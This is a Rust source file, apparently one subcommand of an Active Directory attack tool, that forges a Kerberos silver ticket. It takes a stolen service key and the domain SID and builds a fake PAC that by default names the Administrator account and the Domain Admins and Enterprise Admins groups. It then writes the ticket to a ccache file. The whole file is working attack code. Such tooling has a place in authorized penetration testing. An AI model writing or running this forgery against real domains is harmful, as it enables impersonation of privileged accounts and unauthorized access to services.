use anyhow::{Context, Result};
use clap::Parser;
#[derive(Parser)]
pub(crate) struct SilverArgs {
#[arg(long)]
pub realm: String,
#[arg(long)]
pub service_aes256: String,
#[arg(long)]
pub rc4: bool,
#[arg(long)]
pub spn: String,
#[arg(long)]
pub domain_sid: String,
#[arg(long, default_value = "Administrator")]
pub user: String,
#[arg(long, default_value_t = 500)]
pub rid: u32,
#[arg(long, value_delimiter = ',', default_value = "513,512,520,518,519")]
pub groups: Vec<u32>,
#[arg(long)]
pub out: Option<String>,
}
pub(crate) async fn silver(a: SilverArgs) -> Result<()> {
use adhammer_kerberos::pac::ForgeIdentity;
let key = crate::parse_forge_key(&a.service_aes256, a.rc4)?;
let subs: Vec<u32> = a
.domain_sid
.trim_start_matches("S-1-5-")
.split('-')
.map(|x| x.parse::<u32>())
.collect::<std::result::Result<_, _>>()
.context("--domain-sid must be S-1-5-21-a-b-c")?;
let id = ForgeIdentity {
user: a.user.clone(),
rid: a.rid,
primary_gid: 513,
group_rids: a.groups.clone(),
domain_subauths: subs,
logon_server: a.realm.split('.').next().unwrap_or("DC").to_uppercase(),
logon_domain: a.realm.split('.').next().unwrap_or("DOMAIN").to_uppercase(),
extra_sids: vec![],
};
let tgt = adhammer_kerberos::forge_silver_tgt(&id, &a.realm, &key, &a.spn, a.rc4)?;
println!(
"[+] forged silver ticket: {}@{} for {} (rid {})",
a.user, a.realm, a.spn, a.rid
);
if let Some(out) = &a.out {
let cc = adhammer_kerberos::silver_ccache(&tgt, &a.user, &a.spn)?;
std::fs::write(out, &cc)?;
println!("[+] wrote ccache → {out} ({} bytes)", cc.len());
}
Ok(())
}